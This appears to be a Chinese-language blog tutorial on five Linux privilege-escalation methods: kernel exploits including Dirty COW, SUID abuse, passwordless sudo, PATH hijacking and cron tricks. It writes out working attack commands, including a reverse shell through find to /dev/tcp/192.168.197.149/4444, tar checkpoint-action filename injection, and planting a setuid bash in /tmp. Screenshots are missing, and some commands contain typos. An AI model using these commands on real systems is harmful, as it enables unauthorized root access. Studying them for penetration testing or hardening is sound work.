五種實用型linux提權方法!
一、內核提權
1.常規內核提權
查看linux內核版本:
uname -a

使用searchsploit搜索對應exp,并下載c文件進行編譯:
searchsploit ubuntu 4.4.0 searchsploit -m linux/local/45010.c gcc 45010.c -o 45010 #編譯

在meterpreter下將編譯好的exp上傳到目標tmp目錄下,賦予執行權限,可以看到執行后變為root權限:


2.臟牛提權
Linux內核的內存子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有只讀內存映射。一個低權限的本地用戶能夠利用此漏洞獲取其他只讀內存映射的寫權限,有可能進一步導致提權漏洞
影響版本:Linux kernel >= 2.6.22(2007年發行,到2016年10月18日才修復)
uname -a #查看內核版本 cd CVE-2016-5195-master/ make #編譯生成可執行文件 ./dcow -s #執行exp,成功返回root shell

二、suid提權
suid可以讓文件調用者暫時獲得文件擁有者的權限,suid提權的思路讓普通用戶運行root用戶所擁有的suid文件,從而達到提權的目的。
可用于提權的文件列表:
Nmap
Vim
find
Bash
More
Less
Nano
cp
查找suid文件命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
發現find存在suid:


使用find執行命令whoami發現是root:
find 1.txt -exec whoami \;

使用find執行反彈shell命令(注意加上-p參數,否則反彈回來的可能是低權限用戶shell):
find 1.txt -exec bash -i >& /dev/tcp/192.168.197.149/4444 0>&1 -p \;

返回kali查看彈回root shell:

三、sudo提權
普通用戶一般無法使用root用戶命令,使用sudo命令可以讓普通用戶擁有root權限,但是一般都需要輸入用戶的密碼。管理員為了運營方便可能會對sudoer文件進行不合理的配置,使普通用戶不需要輸入密碼就可以使用sudo命令,從而導致權限提升的問題產生。
使用sudo需要輸入用戶密碼,例如查看shadow文件:

管理員為了方便,配置/etc/sudoers文件,在文件中加入:
ubuntu ALL=(ALL:ALL) NOPASSWD:ALL

配置完成后,普通用戶使用sudo無需輸入密碼即可執行root命令:

四、環境變量提權
PATH是Linux和類Unix操作系統中的環境變量,它指定可執行程序的所有bin和sbin存儲目錄。當用戶在終端上運行任何命令時,它會向shell發送請求以在PATH變量中搜索可執行文件來響應用戶執行的命令。
echo $PATH #查看環境變量

實驗演示:
假設管理員用戶在/home/test目錄下創建了一個demo.c文件,內容如下,執行查看shadow文件命令,setuid 規定了其運行用戶,以root權限進行編譯和權限設置:

gcc demo.c -o demo #編譯 chomod u+s demo #賦予suid

執行demo文件即執行cat /etc/shadow命令:

現在有一個攻擊者拿到普通用戶權限,首先執行如下命令查找具有suid的文件,發現demo:
find / -perm -u=s -type f 2>/dev/null

普通用戶執行demo文件:

接下來劫持環境變量進行提權:
cd /tmp echo "/bin/bash" > cat #創建名為cat的文件,內容為/bin/bash cat cat chmod 777 cat #賦予777權限 export PATH=/tmp:$PATH #將tmp目錄添加環境變量 echo $PATH

最后執行demo,在執行cat命令時,從環境變量中查找,按查找順序優先查找/tmp目錄,而/tmp目錄下的cat內容為/bin/bash,所以執行的命令從cat /etc/shadow就變成了/bin/bash /etc/shadow,從而達到提權的目的。

五、Cronjobs提權
1. 通配符提權
查看定時任務,發現一個以root權限執行的任務test2.sh,查看test2.sh,發現任務的工作為每分鐘執行將/home/ubuntu下的所有內容打包為backup.tar.gz并放置在/tmp目錄下(通配符*代表目錄下的所有文件)。
cat /etc/crontab #查看定時任務

在/home/ubuntu目錄下創建三個文件:
echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test.sh echo "" > --checkpoint=1 #文件名為--checkpoint=1 echo "" > "--checkpoint-action=exec=sh test.sh" #文件名為--checkpoint-action=exec=sh test.sh

當定時任務觸發后,使用了通配符*對整個文件夾進行打包,系統真正執行打包時,將目錄下的文件一個一個傳參給通配符執行打包操作,而在打包–checkpoint=1和–checkpoint-action=exec=sh test.sh時相當于執行如下命令:
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
而–checkpoint和–checkpoint-action正好時tar的參數,此處會被當作參數執行而非文件名打包。–checkpoint-action=exec=sh test.sh為執行test.sh文件,test.sh文件內容為復制bash到tmp目錄并賦予suid,即可達到提權的目的:


據說相似的命令還有chown、chmod、rsync等。
2.文件重寫提權
由于管理員對定時文件權限錯誤分配而導致普通用戶具有寫權限,從而達到提權。
普通用戶查看定時任務,發現datetest.sh為777權限而且為root用戶:


普通用戶可在datetest.sh中寫入命令,將bash復制到tmp并賦予suid:
"cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> /usr/local/bin/datetest.sh
執行獲取root權限:

